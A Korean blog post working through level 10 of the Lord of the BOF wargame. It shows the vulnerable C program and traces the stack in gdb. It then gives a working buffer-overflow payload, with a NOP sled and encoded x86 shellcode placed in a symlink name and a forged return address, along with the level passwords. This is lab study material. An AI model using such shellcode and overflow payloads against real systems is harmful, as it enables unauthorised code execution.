Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 신촌 소문난집
- useMutation error
- apolloclient
- typescript
- 홍대 예술
- 도그존
- apollo react native
- 비동기배열
- promise처리
- 잠실새내 도그존
- graphql 400
- 운정 소바동
- 금별맥주
- promise메서드
- 홍대 토라비
- 홍대 카페 장쌤
- 앙버터마카롱
- 비동기배열처리방법
- graphql with reactnative
- 잠실새내
- graphql mutation error
- 토라비
- 지보싶 신촌점
- 화이트 해커를 위한 웹 해킹의 기술
- graphql react native
- 화이트해커를 위한 웹 해킹의 기술
- graphql with RN
- 고르드
- graphql
- 예쁜술집 예술
Archives
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
LOB 10번 풀이 (vampire) 본문
id: vampire
pw: music world
/*
The Lord of the BOF : The Fellowship of the BOF
- skeleton
- argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
- argv[1]의 길이가 48이상이면 종료
- 입력받은 매개변수를 모두 0으로 초기화 (ultra argv hunter)
- buffer 초기화
- 환경변수 사용 불가
- argv[1]의 48번째 '\xbf' 여야 함
우선 skeleton의 스택 상황을 알아보기 위해 skeleton을 tmp 디렉터리에 복사하고 ultra argv hunter 실행 후에 breakpoint를 걸어주었다.
그리고 argv[1]에 48바이트를 적절히 채워서 실행시키고 esp를 확인해보았다.
계속 확인하다 보니 대부분 ""로 비어있었지만 거의 마지막에 /home/vampire/sk 가 저장되어있었다.
즉, 실행 파일 경로가 argv[0]에만 저장되어있는 것이 아니라 다른 곳에 한번 더 저장되어있다.
따라서 이전 문제에서처럼 skeleton에 심볼릭 링크를 걸어서 실행해보자!
하지만 이전처럼 agv[0]를 ret에 넣어주는 것이 아니라 경로가 저장된 다른 곳을 찾아서 넣어주어야한다.
ret 주소를 알아내기 위해 gdb에서 \x90 시작 위치를 찾아보았다.
똑같이 breakpoint를 걸어주고 실행해서 esp를 확인해보자
다른곳은 거의 다 00으로 초기화되어 있지만, 0xbfffff52 부터 0x90이 있는걸 볼 수 있다.
값이 조금 바뀔 수도 있으니 넉넉하게 0xbfffff80을 ret에 전달해보자
이제 원본 skeleton에 쉘 코드로 링크를 걸어주고 다음과 같은 페이로드를 전달했다.
./`python -c 'print"\x90"*100+"\xd9\xc5\xd9\x74\x24 \xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04 \xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7 \x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf \x51\x4d\xa1\x82\xd6"'` `python -c 'print "A"*44+"\x88\xff\xff\xbf"'`
skeleton 권한으로 쉘이 띄워졌다.
skeleton의 pw: "shellcoder"
'wargame 풀이 > LOB' 카테고리의 다른 글
LOB 12번 풀이 (golem) (0) | 2020.12.30 |
---|---|
LOB 11번 풀이 (skeleton) (0) | 2020.11.24 |
LOB 9번 풀이 (troll) (0) | 2020.11.21 |
LOB 8번 풀이 (orge) (0) | 2020.11.19 |
LOB 7번 풀이 (darkelf) (0) | 2020.11.10 |
Comments